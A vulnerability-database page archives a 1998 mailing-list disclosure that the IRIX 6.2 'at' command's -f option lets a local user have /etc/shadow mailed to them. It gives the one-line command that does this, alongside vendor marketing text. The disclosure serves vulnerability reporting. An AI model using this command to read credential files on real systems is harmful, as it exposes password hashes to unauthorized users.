Lucene search
K

irixat.txt

🗓️ 17 Aug 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Exploit of the 'at' command on IRIX 6.2, allowing unauthorized access to shadow file.

Code
`Date: Fri, 3 Jul 1998 22:14:14 +0200  
From: "J.A. Gutierrez" <[email protected]>  
Subject: more about 'at'  
  
I've tried the trick from NetBSD Security Advisory 1998-004  
on an IRIX 6.2 host, and it seems it works too.  
  
$ at -f /etc/shadow now + 1 minute  
-> shadow is mailed to user:  
  
'at' is:  
  
f 23947 91 patchSG0002866.eoe_sw.unix m usr/bin/at  
  
there is an earlier patch for a buffer overrun on at, I guess  
the fix is also included in patchSG0002866; but the '-f'  
bug is still present.  
  
(IRIX 5.3 has no problem since its 'at' lacks of '-f'  
switch)  
  
  
--  
finger [email protected] for PGP / So be easy and free  
.mailcap tip of the day: / when you're drinking with me  
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day  
text/x-vcard; cat '%s' > /dev/null / (the pogues)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 1999 00:00Current
7.4High risk
Vulners AI Score7.4
27